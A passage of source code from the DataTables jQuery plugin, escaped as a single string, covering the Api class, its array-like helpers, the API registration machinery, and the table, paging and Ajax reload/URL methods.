);\n\t\t\t}\n\t\t\t\n\t\t\t/* Check if there is data passing into the constructor */\n\t\t\tif ( oInit.aaData )\n\t\t\t{\n\t\t\t\tfor ( i=0 ; i<oInit.aaData.length ; i++ )\n\t\t\t\t{\n\t\t\t\t\t_fnAddData( oSettings, oInit.aaData[ i ] );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if ( oSettings.bDeferLoading || _fnDataSource( oSettings ) == 'dom' )\n\t\t\t{\n\t\t\t\t/* Grab the data from the page - only do this when deferred loading or no Ajax\n\t\t\t\t * source since there is no point in reading the DOM data if we are then going\n\t\t\t\t * to replace it with Ajax data\n\t\t\t\t */\n\t\t\t\t_fnAddTr( oSettings, $(oSettings.nTBody).children('tr') );\n\t\t\t}\n\t\t\t\n\t\t\t/* Copy the data index array */\n\t\t\toSettings.aiDisplay = oSettings.aiDisplayMaster.slice();\n\t\t\t\n\t\t\t/* Initialisation complete - table can be drawn */\n\t\t\toSettings.bInitialised = true;\n\t\t\t\n\t\t\t/* Check if we need to initialise the table (it might not have been handed off to the\n\t\t\t * language processor)\n\t\t\t */\n\t\t\tif ( bInitHandedOff === false )\n\t\t\t{\n\t\t\t\t_fnInitialise( oSettings );\n\t\t\t}\n\t\t} );\n\t\t_that = null;\n\t\treturn this;\n\t};\n\n\t\n\t\n\t/**\n\t * Computed structure of the DataTables API, defined by the options passed to\n\t * `DataTable.Api.register()` when building the API.\n\t *\n\t * The structure is built in order to speed creation and extension of the Api\n\t * objects since the extensions are effectively pre-parsed.\n\t *\n\t * The array is an array of objects with the following structure, where this\n\t * base array represents the Api prototype base:\n\t *\n\t *     [\n\t *       {\n\t *         name:      'data'                -- string   - Property name\n\t *         val:       function () {},       -- function - Api method (or undefined if just an object\n\t *         methodExt: [ ... ],              -- array    - Array of Api object definitions to extend the method result\n\t *         propExt:   [ ... ]               -- array    - Array of Api object definitions to extend the property\n\t *       },\n\t *       {\n\t *         name:     'row'\n\t *         val:       {},\n\t *         methodExt: [ ... ],\n\t *         propExt:   [\n\t *           {\n\t *             name:      'data'\n\t *             val:       function () {},\n\t *             methodExt: [ ... ],\n\t *             propExt:   [ ... ]\n\t *           },\n\t *           ...\n\t *         ]\n\t *       }\n\t *     ]\n\t *\n\t * @type {Array}\n\t * @ignore\n\t */\n\tvar __apiStruct = [];\n\t\n\t\n\t/**\n\t * `Array.prototype` reference.\n\t *\n\t * @type object\n\t * @ignore\n\t */\n\tvar __arrayProto = Array.prototype;\n\t\n\t\n\t\n\t\n\t/**\n\t * Abstraction for `context` parameter of the `Api` constructor to allow it to\n\t * take several different forms for ease of use.\n\t *\n\t * Each of the input parameter types will be converted to a DataTables settings\n\t * object where possible.\n\t *\n\t * @param  {string|node|jQuery|object} mixed DataTable identifier. Can be one\n\t *   of:\n\t *\n\t *   * `string` - jQuery selector. Any DataTables' matching the given selector\n\t *     with be found and used.\n\t *   * `node` - `TABLE` node which has already been formed into a DataTable.\n\t *   * `jQuery` - A jQuery object of `TABLE` nodes.\n\t *   * `object` - DataTables settings object\n\t * @return {array|null} Matching DataTables settings objects. `null` or\n\t *   `undefined` is returned if no matching DataTable is found.\n\t * @ignore\n\t */\n\tvar _toSettings = function ( mixed )\n\t{\n\t\tvar idx, jq;\n\t\tvar settings = DataTable.settings;\n\t\tvar tables = $.map( settings, function (el, i) {\n\t\t\treturn el.nTable;\n\t\t} );\n\t\n\t\tif ( mixed.nTable && mixed.oApi ) {\n\t\t\t// DataTables settings object\n\t\t\treturn [ mixed ];\n\t\t}\n\t\telse if ( mixed.nodeName && mixed.nodeName.toLowerCase() === 'table' ) {\n\t\t\t// Table node\n\t\t\tidx = $.inArray( mixed, tables );\n\t\t\treturn idx !== -1 ? [ settings[idx] ] : null;\n\t\t}\n\t\telse if ( typeof mixed === 'string' ) {\n\t\t\t// jQuery selector\n\t\t\tjq = $(mixed);\n\t\t}\n\t\telse if ( mixed instanceof $ ) {\n\t\t\t// jQuery object (also DataTables instance)\n\t\t\tjq = mixed;\n\t\t}\n\t\n\t\tif ( jq ) {\n\t\t\treturn jq.map( function(i) {\n\t\t\t\tidx = $.inArray( this, tables );\n\t\t\t\treturn idx !== -1 ? settings[idx] : null;\n\t\t\t} );\n\t\t}\n\t};\n\t\n\t\n\t/**\n\t * DataTables API class - used to control and interface with  one or more\n\t * DataTables enhanced tables.\n\t *\n\t * The API class is heavily based on jQuery, presenting a chainable interface\n\t * that you can use to interact with tables. Each instance of the API class has\n\t * a \"context\" - i.e. the tables that it will operate on. This could be a single\n\t * table, all tables on a page or a sub-set thereof.\n\t *\n\t * Additionally the API is designed to allow you to easily work with the data in\n\t * the tables, retrieving and manipulating it as required. This is done by\n\t * presenting the API class as an array like interface. The contents of the\n\t * array depend upon the actions requested by each method (for example\n\t * `rows().nodes()` will return an array of nodes, while `rows().data()` will\n\t * return an array of objects or arrays depending upon your table's\n\t * configuration). The API object has a number of array like methods (`push`,\n\t * `pop`, `reverse` etc) as well as additional helper methods (`each`, `pluck`,\n\t * `unique` etc) to assist your working with the data held in a table.\n\t *\n\t * Most methods (those which return an Api instance) are chainable, which means\n\t * the return from a method call also has all of the methods available that the\n\t * top level object had. For example, these two calls are equivalent:\n\t *\n\t *     // Not chained\n\t *     api.row.add( {...} );\n\t *     api.draw();\n\t *\n\t *     // Chained\n\t *     api.row.add( {...} ).draw();\n\t *\n\t * @class DataTable.Api\n\t * @param {array|object|string|jQuery} context DataTable identifier. This is\n\t *   used to define which DataTables enhanced tables this API will operate on.\n\t *   Can be one of:\n\t *\n\t *   * `string` - jQuery selector. Any DataTables' matching the given selector\n\t *     with be found and used.\n\t *   * `node` - `TABLE` node which has already been formed into a DataTable.\n\t *   * `jQuery` - A jQuery object of `TABLE` nodes.\n\t *   * `object` - DataTables settings object\n\t * @param {array} [data] Data to initialise the Api instance with.\n\t *\n\t * @example\n\t *   // Direct initialisation during DataTables construction\n\t *   var api = $('#example').DataTable();\n\t *\n\t * @example\n\t *   // Initialisation using a DataTables jQuery object\n\t *   var api = $('#example').dataTable().api();\n\t *\n\t * @example\n\t *   // Initialisation as a constructor\n\t *   var api = new $.fn.DataTable.Api( 'table.dataTable' );\n\t */\n\tDataTable.Api = _Api = function ( context, data )\n\t{\n\t\tif ( ! this instanceof _Api ) {\n\t\t\tthrow 'DT API must be constructed as a new object';\n\t\t\t// or should it do the 'new' for the caller?\n\t\t\t// return new _Api.apply( this, arguments );\n\t\t}\n\t\n\t\tvar settings = [];\n\t\tvar ctxSettings = function ( o ) {\n\t\t\tvar a = _toSettings( o );\n\t\t\tif ( a ) {\n\t\t\t\tsettings.push.apply( settings, a );\n\t\t\t}\n\t\t};\n\t\n\t\tif ( $.isArray( context ) ) {\n\t\t\tfor ( var i=0, ien=context.length ; i<ien ; i++ ) {\n\t\t\t\tctxSettings( context[i] );\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tctxSettings( context );\n\t\t}\n\t\n\t\t// Remove duplicates\n\t\tthis.context = _unique( settings );\n\t\n\t\t// Initial data\n\t\tif ( data ) {\n\t\t\tthis.push.apply( this, data );\n\t\t}\n\t\n\t\t// selector\n\t\tthis.selector = {\n\t\t\trows: null,\n\t\t\tcols: null,\n\t\t\topts: null\n\t\t};\n\t\n\t\t_Api.extend( this, this, __apiStruct );\n\t};\n\t\n\t\n\t_Api.prototype = /** @lends DataTables.Api */{\n\t\t/**\n\t\t * Return a new Api instance, comprised of the data held in the current\n\t\t * instance, join with the other array(s) and/or value(s).\n\t\t *\n\t\t * An alias for `Array.prototype.concat`.\n\t\t *\n\t\t * @type method\n\t\t * @param {*} value1 Arrays and/or values to concatenate.\n\t\t * @param {*} [...] Additional arrays and/or values to concatenate.\n\t\t * @returns {DataTables.Api} New API instance, comprising of the combined\n\t\t *   array.\n\t\t */\n\t\tconcat:  __arrayProto.concat,\n\t\n\t\n\t\tcontext: [], // array of table settings objects\n\t\n\t\n\t\teach: function ( fn )\n\t\t{\n\t\t\tif ( __arrayProto.forEach ) {\n\t\t\t\t// Where possible, use the built-in forEach\n\t\t\t\t__arrayProto.forEach.call( this, fn, this );\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Compatibility for browsers without EMCA-252-5 (JS 1.6)\n\t\t\t\tfor ( var i=0, ien=this.length ; i<ien; i++ ) {\n\t\t\t\t\t// In strict mode the execution scope is the passed value\n\t\t\t\t\tfn.call( this, this[i], i, this );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\treturn this;\n\t\t},\n\t\n\t\n\t\tfilter: function ( fn )\n\t\t{\n\t\t\tvar a = [];\n\t\n\t\t\tif ( __arrayProto.filter ) {\n\t\t\t\ta = __arrayProto.filter.call( this, fn, this );\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Compatibility for browsers without EMCA-252-5 (JS 1.6)\n\t\t\t\tfor ( var i=0, ien=this.length ; i<ien ; i++ ) {\n\t\t\t\t\tif ( fn.call( this, this[i], i, this ) ) {\n\t\t\t\t\t\ta.push( this[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\treturn new _Api( this.context, a );\n\t\t},\n\t\n\t\n\t\tflatten: function ()\n\t\t{\n\t\t\tvar a = [];\n\t\t\treturn new _Api( this.context, a.concat.apply( a, this ) );\n\t\t},\n\t\n\t\n\t\tjoin:    __arrayProto.join,\n\t\n\t\n\t\tindexOf: __arrayProto.indexOf || function (obj, start)\n\t\t{\n\t\t\tfor ( var i=(start || 0), ien=this.length ; i<ien ; i++ ) {\n\t\t\t\tif ( this[i] === obj ) {\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn -1;\n\t\t},\n\t\n\t\t// Internal only at the moment - relax?\n\t\titerator: function ( flatten, type, fn ) {\n\t\t\tvar\n\t\t\t\ta = [], ret,\n\t\t\t\ti, ien, j, jen,\n\t\t\t\tcontext = this.context,\n\t\t\t\trows, items, item,\n\t\t\t\tselector = this.selector;\n\t\n\t\t\t// Argument shifting\n\t\t\tif ( typeof flatten === 'string' ) {\n\t\t\t\tfn = type;\n\t\t\t\ttype = flatten;\n\t\t\t\tflatten = false;\n\t\t\t}\n\t\n\t\t\tfor ( i=0, ien=context.length ; i<ien ; i++ ) {\n\t\t\t\tif ( type === 'table' ) {\n\t\t\t\t\tret = fn( context[i], i );\n\t\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\ta.push( ret );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if ( type === 'columns' || type === 'rows' ) {\n\t\t\t\t\t// this has same length as context - one entry for each table\n\t\t\t\t\tret = fn( context[i], this[i], i );\n\t\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\ta.push( ret );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if ( type === 'column' || type === 'column-rows' || type === 'row' || type === 'cell' ) {\n\t\t\t\t\t// columns and rows share the same structure.\n\t\t\t\t\t// 'this' is an array of column indexes for each context\n\t\t\t\t\titems = this[i];\n\t\n\t\t\t\t\tif ( type === 'column-rows' ) {\n\t\t\t\t\t\trows = _selector_row_indexes( context[i], selector.opts );\n\t\t\t\t\t}\n\t\n\t\t\t\t\tfor ( j=0, jen=items.length ; j<jen ; j++ ) {\n\t\t\t\t\t\titem = items[j];\n\t\n\t\t\t\t\t\tif ( type === 'cell' ) {\n\t\t\t\t\t\t\tret = fn( context[i], item.row, item.column, i, j );\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tret = fn( context[i], item, i, j, rows );\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\t\ta.push( ret );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tif ( a.length ) {\n\t\t\t\tvar api = new _Api( context, flatten ? a.concat.apply( [], a ) : a );\n\t\t\t\tvar apiSelector = api.selector;\n\t\t\t\tapiSelector.rows = selector.rows;\n\t\t\t\tapiSelector.cols = selector.cols;\n\t\t\t\tapiSelector.opts = selector.opts;\n\t\t\t\treturn api;\n\t\t\t}\n\t\t\treturn this;\n\t\t},\n\t\n\t\n\t\tlastIndexOf: __arrayProto.lastIndexOf || function (obj, start)\n\t\t{\n\t\t\t// Bit cheeky...\n\t\t\treturn this.indexOf.apply( this.toArray.reverse(), arguments );\n\t\t},\n\t\n\t\n\t\tlength:  0,\n\t\n\t\n\t\tmap: function ( fn )\n\t\t{\n\t\t\tvar a = [];\n\t\n\t\t\tif ( __arrayProto.map ) {\n\t\t\t\ta = __arrayProto.map.call( this, fn, this );\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Compatibility for browsers without EMCA-252-5 (JS 1.6)\n\t\t\t\tfor ( var i=0, ien=this.length ; i<ien ; i++ ) {\n\t\t\t\t\ta.push( fn.call( this, this[i], i ) );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\treturn new _Api( this.context, a );\n\t\t},\n\t\n\t\n\t\tpluck: function ( prop )\n\t\t{\n\t\t\treturn this.map( function ( el ) {\n\t\t\t\treturn el[ prop ];\n\t\t\t} );\n\t\t},\n\t\n\t\tpop:     __arrayProto.pop,\n\t\n\t\n\t\tpush:    __arrayProto.push,\n\t\n\t\n\t\t// Does not return an API instance\n\t\treduce: __arrayProto.reduce || function ( fn, init )\n\t\t{\n\t\t\tvar\n\t\t\t\tvalue,\n\t\t\t\tisSet = false;\n\t\n\t\t\tif ( arguments.length > 1 ) {\n\t\t\t\tvalue = init;\n\t\t\t\tisSet = true;\n\t\t\t}\n\t\n\t\t\tfor ( var i=0, ien=this.length ; i<ien ; i++ ) {\n\t\t\t\tif ( ! this.hasOwnProperty(i) ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\n\t\t\t\tvalue = isSet ?\n\t\t\t\t\tfn( value, this[i], i, this ) :\n\t\t\t\t\tthis[i];\n\t\n\t\t\t\tisSet = true;\n\t\t\t}\n\t\n\t\t\treturn value;\n\t\t},\n\t\n\t\n\t\treduceRight: __arrayProto.reduceRight || function ( fn, init )\n\t\t{\n\t\t\tvar\n\t\t\t\tvalue,\n\t\t\t\tisSet = false;\n\t\n\t\t\tif ( arguments.length > 1 ) {\n\t\t\t\tvalue = init;\n\t\t\t\tisSet = true;\n\t\t\t}\n\t\n\t\t\tfor ( var i=this.length-1 ; i>=0 ; i-- ) {\n\t\t\t\tif ( ! this.hasOwnProperty(i) ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\n\t\t\t\tvalue = isSet ?\n\t\t\t\t\tfn( value, this[i], i, this ) :\n\t\t\t\t\tthis[i];\n\t\n\t\t\t\tisSet = true;\n\t\t\t}\n\t\n\t\t\treturn value;\n\t\t},\n\t\n\t\treverse: __arrayProto.reverse,\n\t\n\t\n\t\t// Object with rows, columns and opts\n\t\tselector: null,\n\t\n\t\n\t\tshift:   __arrayProto.shift,\n\t\n\t\n\t\tsort:    __arrayProto.sort, // ? name - order?\n\t\n\t\n\t\tsplice:  __arrayProto.splice,\n\t\n\t\n\t\ttoArray: function ()\n\t\t{\n\t\t\treturn __arrayProto.slice.call( this );\n\t\t},\n\t\n\t\n\t\tto$: function ()\n\t\t{\n\t\t\treturn $( this );\n\t\t},\n\t\n\t\n\t\ttoJQuery: function ()\n\t\t{\n\t\t\treturn $( this );\n\t\t},\n\t\n\t\n\t\tunique: function ()\n\t\t{\n\t\t\treturn new _Api( this.context, _unique(this) );\n\t\t},\n\t\n\t\n\t\tunshift: __arrayProto.unshift\n\t};\n\t\n\t\n\t\n\t\n\t_Api.extend = function ( scope, obj, ext )\n\t{\n\t\t// Only extend API instances and static properties of the API\n\t\tif ( ! obj || ( ! (obj instanceof _Api) && ! obj.__dt_wrapper ) ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\tvar\n\t\t\ti, ien,\n\t\t\tj, jen,\n\t\t\tstruct, inner,\n\t\t\tmethodScoping = function ( fn, struc ) {\n\t\t\t\treturn function () {\n\t\t\t\t\tvar ret = fn.apply( scope, arguments );\n\t\n\t\t\t\t\t// Method extension\n\t\t\t\t\t_Api.extend( ret, ret, struc.methodExt );\n\t\t\t\t\treturn ret;\n\t\t\t\t};\n\t\t\t};\n\t\n\t\tfor ( i=0, ien=ext.length ; i<ien ; i++ ) {\n\t\t\tstruct = ext[i];\n\t\n\t\t\t// Value\n\t\t\tobj[ struct.name ] = typeof struct.val === 'function' ?\n\t\t\t\tmethodScoping( struct.val, struct ) :\n\t\t\t\tstruct.val;\n\t\n\t\t\tobj[ struct.name ].__dt_wrapper = true;\n\t\n\t\t\t// Property extension\n\t\t\t_Api.extend( scope, obj[ struct.name ], struct.propExt );\n\t\t}\n\t};\n\t\n\t\n\t// @todo - Is there need for an augment function?\n\t// _Api.augment = function ( inst, name )\n\t// {\n\t// \t// Find src object in the structure from the name\n\t// \tvar parts = name.split('.');\n\t\n\t// \t_Api.extend( inst, obj );\n\t// };\n\t\n\t\n\t//     [\n\t//       {\n\t//         name:      'data'                -- string   - Property name\n\t//         val:       function () {},       -- function - Api method (or undefined if just an object\n\t//         methodExt: [ ... ],              -- array    - Array of Api object definitions to extend the method result\n\t//         propExt:   [ ... ]               -- array    - Array of Api object definitions to extend the property\n\t//       },\n\t//       {\n\t//         name:     'row'\n\t//         val:       {},\n\t//         methodExt: [ ... ],\n\t//         propExt:   [\n\t//           {\n\t//             name:      'data'\n\t//             val:       function () {},\n\t//             methodExt: [ ... ],\n\t//             propExt:   [ ... ]\n\t//           },\n\t//           ...\n\t//         ]\n\t//       }\n\t//     ]\n\t\n\t_Api.register = _api_register = function ( name, val )\n\t{\n\t\tif ( $.isArray( name ) ) {\n\t\t\tfor ( var j=0, jen=name.length ; j<jen ; j++ ) {\n\t\t\t\t_Api.register( name[j], val );\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\n\t\tvar\n\t\t\ti, ien,\n\t\t\their = name.split('.'),\n\t\t\tstruct = __apiStruct,\n\t\t\tkey, method;\n\t\n\t\tvar find = function ( src, name ) {\n\t\t\tfor ( var i=0, ien=src.length ; i<ien ; i++ ) {\n\t\t\t\tif ( src[i].name === name ) {\n\t\t\t\t\treturn src[i];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn null;\n\t\t};\n\t\n\t\tfor ( i=0, ien=heir.length ; i<ien ; i++ ) {\n\t\t\tmethod = heir[i].indexOf('()') !== -1;\n\t\t\tkey = method ?\n\t\t\t\their[i].replace('()', '') :\n\t\t\t\their[i];\n\t\n\t\t\tvar src = find( struct, key );\n\t\t\tif ( ! src ) {\n\t\t\t\tsrc = {\n\t\t\t\t\tname:      key,\n\t\t\t\t\tval:       {},\n\t\t\t\t\tmethodExt: [],\n\t\t\t\t\tpropExt:   []\n\t\t\t\t};\n\t\t\t\tstruct.push( src );\n\t\t\t}\n\t\n\t\t\tif ( i === ien-1 ) {\n\t\t\t\tsrc.val = val;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tstruct = method ?\n\t\t\t\t\tsrc.methodExt :\n\t\t\t\t\tsrc.propExt;\n\t\t\t}\n\t\t}\n\t\n\t\t// Rebuild the API with the new construct\n\t\tif ( _Api.ready ) {\n\t\t\tDataTable.api.build();\n\t\t}\n\t};\n\t\n\t\n\t_Api.registerPlural = _api_registerPlural = function ( pluralName, singularName, val ) {\n\t\t_Api.register( pluralName, val );\n\t\n\t\t_Api.register( singularName, function () {\n\t\t\tvar ret = val.apply( this, arguments );\n\t\n\t\t\tif ( ret === this ) {\n\t\t\t\t// Returned item is the API instance that was passed in, return it\n\t\t\t\treturn this;\n\t\t\t}\n\t\t\telse if ( ret instanceof _Api ) {\n\t\t\t\t// New API instance returned, want the value from the first item\n\t\t\t\t// in the returned array for the singular result.\n\t\t\t\treturn ret.length ?\n\t\t\t\t\t$.isArray( ret[0] ) ?\n\t\t\t\t\t\tnew _Api( ret.context, ret[0] ) : // Array results are 'enhanced'\n\t\t\t\t\t\tret[0] :\n\t\t\t\t\tundefined;\n\t\t\t}\n\t\n\t\t\t// Non-API return - just fire it back\n\t\t\treturn ret;\n\t\t} );\n\t};\n\t\n\t\n\t/**\n\t * Selector for HTML tables. Apply the given selector to the give array of\n\t * DataTables settings objects.\n\t *\n\t * @param {string|integer} [selector] jQuery selector string or integer\n\t * @param  {array} Array of DataTables settings objects to be filtered\n\t * @return {array}\n\t * @ignore\n\t */\n\tvar __table_selector = function ( selector, a )\n\t{\n\t\t// Integer is used to pick out a table by index\n\t\tif ( typeof selector === 'number' ) {\n\t\t\treturn [ a[ selector ] ];\n\t\t}\n\t\n\t\t// Perform a jQuery selector on the table nodes\n\t\tvar nodes = $.map( a, function (el, i) {\n\t\t\treturn el.nTable;\n\t\t} );\n\t\n\t\treturn $(nodes)\n\t\t\t.filter( selector )\n\t\t\t.map( function (i) {\n\t\t\t\t// Need to translate back from the table node to the settings\n\t\t\t\tvar idx = $.inArray( this, nodes );\n\t\t\t\treturn a[ idx ];\n\t\t\t} )\n\t\t\t.toArray();\n\t};\n\t\n\t\n\t\n\t/**\n\t * Context selector for the API's context (i.e. the tables the API instance\n\t * refers to.\n\t *\n\t * @name    DataTable.Api#tables\n\t * @param {string|integer} [selector] Selector to pick which tables the iterator\n\t *   should operate on. If not given, all tables in the current context are\n\t *   used. This can be given as a jQuery selector (for example `':gt(0)'`) to\n\t *   select multiple tables or as an integer to select a single table.\n\t * @returns {DataTable.Api} Returns a new API instance if a selector is given.\n\t */\n\t_api_register( 'tables()', function ( selector ) {\n\t\t// A new instance is created if there was a selector specified\n\t\treturn selector ?\n\t\t\tnew _Api( __table_selector( selector, this.context ) ) :\n\t\t\tthis;\n\t} );\n\t\n\t\n\t_api_register( 'table()', function ( selector ) {\n\t\tvar tables = this.tables( selector );\n\t\tvar ctx = tables.context;\n\t\n\t\t// Truncate to the first matched table\n\t\tif ( ctx.length ) {\n\t\t\tctx.length = 1;\n\t\t}\n\t\n\t\treturn tables;\n\t} );\n\t\n\t\n\t_api_registerPlural( 'tables().nodes()', 'table().node()' , function () {\n\t\treturn this.iterator( 'table', function ( ctx ) {\n\t\t\treturn ctx.nTable;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'tables().body()', 'table().body()' , function () {\n\t\treturn this.iterator( 'table', function ( ctx ) {\n\t\t\treturn ctx.nTBody;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'tables().header()', 'table().header()' , function () {\n\t\treturn this.iterator( 'table', function ( ctx ) {\n\t\t\treturn ctx.nTHead;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'tables().footer()', 'table().footer()' , function () {\n\t\treturn this.iterator( 'table', function ( ctx ) {\n\t\t\treturn ctx.nTFoot;\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t/**\n\t * Redraw the tables in the current context.\n\t *\n\t * @param {boolean} [reset=true] Reset (default) or hold the current paging\n\t *   position. A full re-sort and re-filter is performed when this method is\n\t *   called, which is why the pagination reset is the default action.\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'draw()', function ( resetPaging ) {\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t_fnReDraw( settings, resetPaging===false );\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t/**\n\t * Get the current page index.\n\t *\n\t * @return {integer} Current page index (zero based)\n\t *//**\n\t * Set the current page.\n\t *\n\t * Note that if you attempt to show a page which does not exist, DataTables will\n\t * not throw an error, but rather reset the paging.\n\t *\n\t * @param {integer|string} action The paging action to take. This can be one of:\n\t *  * `integer` - The page index to jump to\n\t *  * `string` - An action to take:\n\t *    * `first` - Jump to first page.\n\t *    * `next` - Jump to the next page\n\t *    * `previous` - Jump to previous page\n\t *    * `last` - Jump to the last page.\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'page()', function ( action ) {\n\t\tif ( action === undefined ) {\n\t\t\treturn this.page.info().page; // not an expensive call\n\t\t}\n\t\n\t\t// else, have an action to take on all tables\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t_fnPageChange( settings, action );\n\t\t} );\n\t} );\n\t\n\t\n\t/**\n\t * Paging information for the first table in the current context.\n\t *\n\t * If you require paging information for another table, use the `table()` method\n\t * with a suitable selector.\n\t *\n\t * @return {object} Object with the following properties set:\n\t *  * `page` - Current page index (zero based - i.e. the first page is `0`)\n\t *  * `pages` - Total number of pages\n\t *  * `start` - Display index for the first record shown on the current page\n\t *  * `end` - Display index for the last record shown on the current page\n\t *  * `length` - Display length (number of records). Note that generally `start\n\t *    + length = end`, but this is not always true, for example if there are\n\t *    only 2 records to show on the final page, with a length of 10.\n\t *  * `recordsTotal` - Full data set length\n\t *  * `recordsDisplay` - Data set length once the current filtering criterion\n\t *    are applied.\n\t */\n\t_api_register( 'page.info()', function ( action ) {\n\t\tif ( this.context.length === 0 ) {\n\t\t\treturn undefined;\n\t\t}\n\t\n\t\tvar\n\t\t\tsettings   = this.context[0],\n\t\t\tstart      = settings._iDisplayStart,\n\t\t\tlen        = settings._iDisplayLength,\n\t\t\tvisRecords = settings.fnRecordsDisplay(),\n\t\t\tall        = len === -1;\n\t\n\t\treturn {\n\t\t\t\"page\":           all ? 0 : Math.floor( start / len ),\n\t\t\t\"pages\":          all ? 1 : Math.ceil( visRecords / len ),\n\t\t\t\"start\":          start,\n\t\t\t\"end\":            settings.fnDisplayEnd(),\n\t\t\t\"length\":         len,\n\t\t\t\"recordsTotal\":   settings.fnRecordsTotal(),\n\t\t\t\"recordsDisplay\": visRecords\n\t\t};\n\t} );\n\t\n\t\n\t/**\n\t * Get the current page length.\n\t *\n\t * @return {integer} Current page length. Note `-1` indicates that all records\n\t *   are to be shown.\n\t *//**\n\t * Set the current page length.\n\t *\n\t * @param {integer} Page length to set. Use `-1` to show all records.\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'page.len()', function ( len ) {\n\t\t// Note that we can't call this function 'length()' because `length`\n\t\t// is a Javascript property of functions which defines how many arguments\n\t\t// the function expects.\n\t\tif ( len === undefined ) {\n\t\t\treturn this.context.length !== 0 ?\n\t\t\t\tthis.context[0]._iDisplayLength :\n\t\t\t\tundefined;\n\t\t}\n\t\n\t\t// else, set the page length\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t_fnLengthChange( settings, len );\n\t\t} );\n\t} );\n\t\n\t\n\t\n\tvar __reload = function ( settings, holdPosition, callback ) {\n\t\tif ( _fnDataSource( settings ) == 'ssp' ) {\n\t\t\t_fnReDraw( settings, holdPosition );\n\t\t}\n\t\telse {\n\t\t\t// Trigger xhr\n\t\t\t_fnBuildAjax( settings, [], function( json ) {\n\t\t\t\t// xxx can this be reduced?\n\t\t\t\t_fnClearTable( settings );\n\t\n\t\t\t\tvar data = _fnAjaxDataSrc( settings, json );\n\t\t\t\tfor ( var i=0, ien=data.length ; i<ien ; i++ ) {\n\t\t\t\t\t_fnAddData( settings, data[i] );\n\t\t\t\t}\n\t\n\t\t\t\t_fnReDraw( settings, holdPosition );\n\t\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback( json );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t};\n\t\n\t\n\t/**\n\t * Get the JSON response from the last Ajax request that DataTables made to the\n\t * server. Note that this returns the JSON from the first table in the current\n\t * context.\n\t *\n\t * @return {object} JSON received from the server.\n\t */\n\t_api_register( 'ajax.json()', function () {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( ctx.length > 0 ) {\n\t\t\treturn ctx[0].json;\n\t\t}\n\t\n\t\t// else return undefined;\n\t} );\n\t\n\t\n\t/**\n\t * Reload tables from the Ajax data source. Note that this function will\n\t * automatically re-draw the table when the remote data has been loaded.\n\t *\n\t * @param {boolean} [reset=true] Reset (default) or hold the current paging\n\t *   position. A full re-sort and re-filter is performed when this method is\n\t *   called, which is why the pagination reset is the default action.\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'ajax.reload()', function ( callback, resetPaging ) {\n\t\treturn this.iterator( 'table', function (settings) {\n\t\t\t__reload( settings, resetPaging===false, callback );\n\t\t} );\n\t} );\n\t\n\t\n\t/**\n\t * Get the current Ajax URL. Note that this returns the URL from the first\n\t * table in the current context.\n\t *\n\t * @return {string} Current Ajax source URL\n\t *//**\n\t * Set the Ajax URL. Note that this will set the URL for all tables in the\n\t * current context.\n\t *\n\t * @param {string} url URL to set.\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'ajax.url()', function ( url ) {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( url === undefined ) {\n\t\t\t// get\n\t\t\tif ( ctx.length === 0 ) {\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t\tctx = ctx[0];\n\t\n\t\t\treturn ctx.ajax ?\n\t\t\t\t$.isPlainObject( ctx.ajax ) ?\n\t\t\t\t\tctx.ajax.url :\n\t\t\t\t\tctx.ajax :\n\t\t\t\tctx.sAjaxSource;\n\t\t}\n\t\n\t\t// set\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\tif ( $.isPlainObject( settings.ajax ) ) {\n\t\t\t\tsettings.ajax.url = url;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsettings.ajax = url;\n\t\t\t}\n\t\t\t// No need to consider sAjaxSource here since DataTables gives priority\n\t\t\t// to `ajax` over `sAjaxSource`. So setting `ajax` here, renders any\n\t\t\t// value of `sAjaxSource` redundant.\n\t\t} );\n\t} );\n\t\n\t\n\t/**\n\t * Load data from the newly set Ajax URL. Note that this method is only\n\t * available when `ajax.url()` is used to set a URL. Additionally, this method\n\t * has the same effect as calling `ajax.reload()` but is provided for\n\t * convenience when setting a new URL. 